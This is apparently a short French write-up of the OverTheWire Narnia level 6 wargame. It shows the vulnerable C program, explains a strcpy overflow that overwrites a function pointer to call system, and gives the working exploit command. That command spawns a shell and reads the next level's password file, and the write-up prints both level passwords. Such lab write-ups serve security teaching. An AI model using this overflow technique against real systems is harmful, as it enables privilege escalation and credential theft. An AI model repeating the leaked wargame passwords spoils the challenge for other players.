ssh narnia6@narnia.labs.overthewire.org pass : neezocaeng
#include <stdio.h> #include <stdlib.h> #include <string.h> extern char **environ; int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } /* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1); fp(b1); exit(1); }
Le programme enregistre l'adresse de la fonction puts
dans la variable fp
. Il copie ensuite le contenu de argv[1]
et argv[2]
dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction puts
qui a été enregistré. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par 0xff
, ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection.
Une des solutions possible est d'appeler la fonction system
à la place de la fonction puts
.
$ ./narnia6 $(python -c 'print "A"*8+"\x60\xf2\xea\xf7"') $(python -c 'print "C"*8+"/bin/sh"') $ id uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6) $ cat /etc/narnia_pass/narnia7 ahkiaziphu